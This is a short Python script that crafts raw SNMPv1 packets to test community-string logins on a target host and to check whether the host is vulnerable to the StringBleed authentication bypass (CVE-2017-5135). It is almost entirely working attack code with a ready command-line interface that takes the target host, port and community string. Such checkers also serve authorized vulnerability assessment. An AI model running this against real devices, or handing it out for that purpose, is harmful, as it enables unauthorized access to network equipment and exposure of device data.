__author__ = ["Nixawk"]
__funcs__ = [
'generate_snmp_communitystr',
'generate_snmp_proto_payload',
'send_snmp_request',
'read_snmp_communitystr',
'read_snmp_varbindstr',
'snmp_login',
'snmp_stringbleed'
]
import struct
import uuid
import socket
import time
import logging
import contextlib
logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__file__)
def generate_snmp_communitystr():
return str(uuid.uuid4())
def generate_snmp_proto_payload(community):
"""Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0]
For example, suppose one wanted to identify an instance of the
variable sysDescr The object class for sysDescr is:
iso org dod internet mgmt mib system sysDescr
1 3 6 1211 1
"""
snmp_GetNextRequest = [
b"\x30",
b"\x29",
b"\x02\x01\x00",
b"\x04",
chr(len(community)),
community,
b"\xa1\x19",
b"\x02\x04",
struct.pack("<i", int(time.time())),
b"\x02\x01\x00",
b"\x02\x01\x00",
b"\x30",
b"\x0b",
b"\x30",
b"\x09",
b"\x06",
b"\x05",
b"\x2b\x06\x01\x02\x01",
b"\x05\x00"
]
pkt = "".join(snmp_GetNextRequest)
com_length = chr(len(community))
pdu_length = chr(len(pkt) - 2)
if com_length > '\x7f':
com_length = '\x81' + com_length
pdu_length = chr(len(pkt) - 1)
if pdu_length > '\x7f':
pdu_length = '\x81' + pdu_length
snmp_GetNextRequest[1] = pdu_length
snmp_GetNextRequest[4] = com_length
pkt = b"".join(snmp_GetNextRequest)
return pkt
def send_snmp_request(host, port, community, timeout=6.0):
"""Send snmp request based on UDP.
"""
data = ''
try:
with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client:
snmp_raw = generate_snmp_proto_payload(community)
client.settimeout(timeout)
client.sendto(snmp_raw, (host, port))
data, _ = client.recvfrom(2014)
except Exception as err:
log.error("{} : {} - {}".format(host, port, err))
return data
def read_snmp_communitystr(snmp_response):
"""Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
"""
community_str = ''
if not snmp_response:
return community_str
pdu_length = snmp_response[1]
if ord(pdu_length) > 0x7f:
offset = 8
else:
offset = 7
community_length = snmp_response[offset - 1]
community_str = snmp_response[offset: offset +ord(community_length)]
return community_str
def read_snmp_varbindstr(snmp_response):
"""Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
"""
variable_binding_string = ''
if not snmp_response:
return variable_binding_string
pdu_length = snmp_response[1]
if ord(pdu_length) > 0x7f:
offset = 8
else:
offset = 7
community_length = snmp_response[offset - 1]
pdu_data_offset = offset + ord(community_length)
pdu_data = snmp_response[pdu_data_offset:]
last_pdu = pdu_data.split("\x00")[-1]
last_pdu_length = ord(last_pdu[1])
if last_pdu_length > 0x7f:
variable_binding_string =last_pdu[3:]
else:
variable_binding_string = last_pdu[2:]
return variable_binding_string
def snmp_login(host, port, community):
"""login snmp service with SNMPv1 community string.
"""
login_status = False
try:
resp_community = read_snmp_communitystr(
send_snmp_request(host, int(port), community)
)
if (resp_community == community):
login_status = True
except Exception as err:
log.error(err)
return login_status
def snmp_stringbleed(host, port, community):
"""Test againsts Snmp StringBleed CVE-2017-5135.
"""
stringbleed_status = False
try:
resp_varbindstr = read_snmp_varbindstr(
send_snmp_request(host, int(port), community)
)
if resp_varbindstr: stringbleed_status = True
except Exception as err:
log.error(err)
return stringbleed_status
if __name__ == '__main__':
import sys
if len(sys.argv) != 4:
log.info("Usage python {} <snmp-host> <snmp-port> <snmp-community-str>".format(sys.argv[0]))
sys.exit(1)
host = sys.argv[1]
port = sys.argv[2]
community = sys.argv[3]
if snmp_login(host, int(port), community):
log.info("{}:{} - [{}] snmp login successfully.".format(host, port, community))
else:
log.info("{}:{} - [{}] snmp login failed.".format(host, port, community))
if snmp_stringbleed(host, int(port), community):
log.info("{}:{} - [{}] snmp StringBleed successfully.".format(host, port, community))
else:
log.info("{}:{} - [{}] snmp StringBleed failed.".format(host, port, community))